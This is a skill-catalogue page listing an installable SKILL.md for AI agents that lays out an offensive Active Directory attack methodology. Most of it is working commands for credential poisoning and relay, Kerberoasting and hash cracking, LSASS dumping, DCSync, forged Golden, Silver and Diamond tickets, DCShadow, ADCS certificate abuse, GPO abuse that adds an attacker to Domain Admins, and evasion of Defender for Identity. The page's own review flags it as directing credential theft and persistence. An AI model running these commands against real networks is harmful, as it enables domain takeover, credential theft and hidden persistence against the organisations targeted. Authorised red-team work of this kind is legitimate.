offensive-active-directory
Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegatβ¦
Install / Use
npx skills add SnailSploit/Claude-Red --skill offensive-active-directoryInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
AI & Machine LearningSupported Platforms
Our assessment of offensive-active-directory
offensive-active-directory scores 96/100 on our quality scale, 110th of 947 AI & Machine Learning skills we index (top 12%).
Its SKILL.md is 13 KB long, well organised into 91 sections with 29 code examples: a thorough specification that gives an agent plenty to work with.
With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so offensive-active-directory is actively maintained.
- Our last check on 2026-11-15 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit β read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to perform credential theft and harvesting, including LSASS/SAM dumping, Kerberoasting, ASREProasting, NTLM relay, and DCSync.
AI review: risky
- The skill instructs the agent to perform credential theft and harvesting, including LSASS/SAM dumping, Kerberoasting, ASREProasting, NTLM relay, and DCSync.
- It directs the agent to establish persistence and backdoor Active Directory via Golden/Silver/Diamond Tickets, DCShadow, AdminSDHolder, Skeleton Key, and ACL/GPO abuse.
- It includes a section on detection evasion (MDI/Defender for Identity) and operational security techniques designed to hide malicious actions from monitoring.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-09-28. Automated pattern scan on 2026-09-28. It catches known dangerous patterns, not every risk β read a skill before letting an agent act on it.
offensive-active-directory compared with similar skills
All 4 of these similar skills score higher than offensive-active-directory; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| offensive-active-directory (this skill)by SnailSploit | 96 | 6.8k | 58d ago | SKILL.md |
| claude-memby thedotmack | 100 | 117.6k | today | CLAUDE.md |
| Understand-Anythingby Egonex-AI | 100 | 92.8k | 1d ago | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 79.8k | today | CLAUDE.md |
| CowAgentby zhayujie | 100 | 48.0k | today | CLAUDE.md |
Frequently asked questions
- How do I install offensive-active-directory?
- Run
npx skills add SnailSploit/Claude-Red --skill offensive-active-directory. The install tabs above show the steps for each supported agent. - Which AI agents does offensive-active-directory work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is offensive-active-directory safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to perform credential theft and harvesting, including LSASS/SAM dumping, Kerberoasting, ASREProasting, NTLM relay, and DCSync. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is offensive-active-directory still maintained?
- The repository was last updated about 2 months ago, so offensive-active-directory is actively maintained.
Skill content
View source on GitHubname: offensive-active-directory description: "Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments."
Active Directory β Offensive Testing Methodology
Quick Workflow
- Recon AD structure offline (BloodHound, ADExplorer snapshot) β minimize live queries
- Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed
- Map attack paths to Domain Admin / Enterprise Admin / Tier 0
- Execute path with lowest detection cost, validate at each hop
- Establish persistence and document every action with timestamps
Reconnaissance
BloodHound Collection
# SharpHound (CSharp collector) β most stealthy with throttling
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip
# Stealth collection (DC-only, avoids workstation noise)
SharpHound.exe -c DCOnly --Stealth
# Bloodhound.py from Linux (no Windows host needed)
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All
PowerView (No Tool Drop)
# Domain enumeration without binaries
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}
ADExplorer Offline
# Take snapshot from any low-priv user, analyze offline
ADExplorer.exe β File β Create Snapshot
# Convert to BloodHound format
ADExplorerSnapshot.py snapshot.dat -o output/
Credential Harvesting
LLMNR / NBT-NS / mDNS Poisoning
# Capture NetNTLMv2 hashes from broadcast resolution
responder -I eth0 -wrf
# Inveigh (Windows-side, when you have a foothold)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y
Crack with hashcat mode 5600. If cracking fails, relay instead.
NTLM Relay
# Identify relay targets (no SMB signing, LDAP signing not required)
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt
# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
impacket-ntlmrelayx -tf relay-targets.txt -smb2support \
--escalate-user attacker --delegate-access
# Relay to ADCS Web Enrollment (ESC8) β requires HTTP endpoint up
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
--adcs --template DomainController
Kerberoasting
# Request TGS for all SPN-bearing accounts
Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
# AES-only accounts (harder to crack but worth attempting)
Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt
# Cross-platform from Linux
impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request
hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule
ASREProasting
# Find users with DONT_REQUIRE_PREAUTH set
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
hashcat -m 18200 asrep.txt rockyou.txt
LSASS / SAM Dumping
:: Modern, AV-friendly: comsvcs.dll minidump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full
:: Task Manager β lsass.exe β Create dump file (GUI route, no binary drop)
:: nanodump (handle duplication, no MiniDumpWriteDump)
nanodump.exe --pid <PID> -w lsass.dmp --valid
Parse with Mimikatz or pypykatz offline:
pypykatz lsa minidump lsass.dmp
Privilege Escalation Within AD
ACL Abuse
| Right | Abuse |
|-------|-------|
| GenericAll / GenericWrite | Add SPN β Kerberoast; reset password; add member |
| WriteDacl | Grant yourself DCSync rights, then DCSync |
| WriteOwner | Take ownership β grant rights β exploit |
| AllExtendedRights (User) | Force password change |
| AllExtendedRights (Domain) | DCSync |
| AddMember | Add self to privileged group |
| WriteSPN | Set SPN, kerberoast target |
# Targeted Kerberoast (write SPN, roast, remove SPN)
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}
Rubeus.exe kerberoast /user:victim
Set-DomainObject -Identity victim -Clear serviceprincipalname
# Grant DCSync via WriteDacl
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
-PrincipalIdentity attacker -Rights DCSync
Kerberos Delegation
# Find delegation
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
# Unconstrained β wait for / coerce DC auth, capture TGT
Rubeus.exe monitor /interval:5 /nowrap
# Constrained (S4U2self/S4U2proxy) β impersonate any user to allowed SPN
Rubeus.exe s4u /user:svc_acct /rc4:<hash> /impersonateuser:Administrator \
/msdsspn:cifs/dc.corp.local /ptt
# Resource-Based Constrained Delegation (RBCD) β write msDS-AllowedToActOnBehalfOfOtherIdentity
# Requires GenericAll/GenericWrite on the target computer object
Coercion Primitives
| Technique | Tool / RPC |
|-----------|-----------|
| PetitPotam | MS-EFSRPC (EfsRpcOpenFileRaw, EfsRpcEncryptFileSrv) |
| PrinterBug | MS-RPRN (RpcRemoteFindFirstPrinterChangeNotificationEx) |
| DFSCoerce | MS-DFSNM (NetrDfsRemoveStdRoot) |
| ShadowCoerce | MS-FSRVP |
| WebDAV | Search-and-replace UNC path embedded in any web fetch |
# Coerce + relay full chain
impacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access &
PetitPotam.py -u low -p pass attacker-ip dc-ip
# Result: RBCD set, S4U β DA on coerced machine
GPO Abuse
# Find GPOs you can edit
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
?{ $_.SecurityIdentifier -eq (Get-DomainUser current).objectsid `
-and $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }
# SharpGPOAbuse β add scheduled task / immediate task to GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\System \
--Command cmd.exe --Arguments "/c net group 'Domain Admins' attacker /add /domain" \
--GPOName "Workstation Policy"
ADCS Abuse β ESC1 through ESC15
Enumeration
certipy find -u user@corp.local -p pass -dc-ip 10.0.0.1 -vulnerable -stdout
Common Misconfigurations
| ID | Misconfig | Exploitation | |----|-----------|--------------| | ESC1 | Client Auth + ENROLLEE_SUPPLIES_SUBJECT | Request cert with arbitrary UPN | | ESC2 | Any Purpose EKU | Request cert valid for any use | | ESC3 | Enrollment Agent | Request agent cert, then on-behalf-of any user | | ESC4 | Vulnerable template ACL | Modify template to ESC1 | | ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | SAN injection on any template | | ESC7 | Vulnerable CA ACL (ManageCA) | Approve own pending requests | | ESC8 | Web Enrollment HTTP + no EPA | NTLM relay β cert | | ESC9 | No security extension + UPN | UPN spoofing post-account-rename | | ESC10 | StrongCertificateBindingEnforcement weak | UPN spoofing without rename | | ESC11 | RPC unprotected (no ICertPassage IF_ENFORCEENCRYPTICERTREQUEST) | Relay over RPC | | ESC13 | Issuance policy linked to group | Cert grants group membership | | ESC14 | altSecurityIdentities write | Map attacker cert to admin | | ESC15 | EKUwu β schema v1 templates | Inject EKU at request time |
ESC1 Exploitation
# Request cert as Administrator
certipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate \
-upn administrator@corp.local
# Use cert to get TGT and NT hash via UnPAC-the-Hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1
ESC8 (Web Enrollment Relay)
# Coerce any DC, relay to ADCS Web Enrollment, request DC cert
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
--adcs --template DomainController &
PetitPotam.py attacker-ip dc.corp.local
# Result: cert for DC$ β TGT β DCSync
Lateral Movement
Pass-the-Hash / Overpass-the-Hash
# PTH with NT hash
nxc smb 10.0.0.0/24 -u admin -H <NThash> --local-auth
impacket-psexec corp/admin@target -hashes :<NThash>
# Overpass-the-Hash (NT hash β TGT, useful for Kerberos-only targets)
Rubeus.exe asktgt /user:admin /rc4:<NThash> /ptt
Pass-the-Ticket
# Inject TGT
Rubeus.exe ptt /ticket:base64.kirbi
# Or from .ccache
KRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.local
Silent Lateral Tools
# WinRM (no event logs in default channel for command exec)
evil-winrm -i target -u admin -H <hash>
# SMB exec without service creation (uses task scheduler)
impacket-atexec corp/admin@target -hashes :<hash> "whoami"
# WMI
impacket-wmiexec corp/admin@target -hashes :<hash>
# DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)
Invoke-DCOM -ComputerName target -Method MMC20 -Command "calc.exe"
Persistence
Golden Ticket (krbtgt forge)
# Requires krbtgt NT hash (from DCSync)
impacket-ticketer -nthash <krbtgt-NT> -domain-sid S-1-5-21-... -domain corp.local Administrator
KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.corp.local
Silver Ticket (per-service forge)
# Forge TGS for a specific service using its account hash
impacket-ticketer -nthash <svc-NT> -domain-sid <SID> -domain corp.local \
-spn cifs/server.corp.local Administrator
Diamond / Sapphire Ticket (modern, evades MDI on krbtgt)
# Diamond β modify legitimate TGT in-flight (no krbtgt hash on wire)
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512
DCSync
impacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :<hash>
# In-memory PowerShell variant (Mimikatz)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
DCShadow (register rogue DC, push changes)
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:CN=victim,... /attribute:primaryGroupID /value:519
mimikatz # lsadump::dcshadow /push
AdminSDHolder
Add ACE granting your account GenericAll on CN=AdminSDHolder,CN=System,DC=corp,DC=local. SDProp propagates to all protected groups every 60 minutes.
Forest & Trust Attacks
# Map trusts
Get-DomainTrust -SearchBase "DC=corp,DC=local"
Get-ForestTrust
# SID History injection (cross-forest if SID filtering disabled)
# ExtraSids in golden ticket β admin in trusted forest
impacket-ticketer -nthash <krbtgt> -domain-sid <child-SID> \
-extra-sid S-1-5-21-<parent>-519 -domain child.corp.local Administrator
# Trust ticket forging (inter-realm TGT)
Rubeus.exe asktgs /service:krbtgt/parent.local /ticket:trust-ticket.kirbi
Hybrid AD / Entra ID (Azure AD) Pivots
| Pivot | Path |
|-------|------|
| AAD Connect server compromise | Dump MSOL_ account β DCSync on-prem |
| Seamless SSO | Forge Kerberos ticket for AZUREADSSOACC$ β cloud SSO any user |
| PTA agent | DLL hijack Microsoft.Azure.SecurityTokenService β harvest cleartext |
| PHS hash sync | Read on-prem hashes from AAD Connect SQL (ADSync DB) |
| Federated trust | Forge SAML token via stolen ADFS token-signing cert (Golden SAML) |
| Pass-the-PRT | Steal PRT cookie from device β cloud session as user |
# AADInternals β Hybrid identity attack toolkit
Get-AADIntADSyncCredentials # Extract MSOL_ creds from AAD Connect
Open-AADIntOffice365Portal -AccessToken $token
New-AADIntSAMLToken -ImmutableID 'a==' -Issuer 'http://sts/adfs/services/tr
Truncated for display β read the full file on GitHub.
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Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit β see the Safety scan above for what the skill file itself contains.
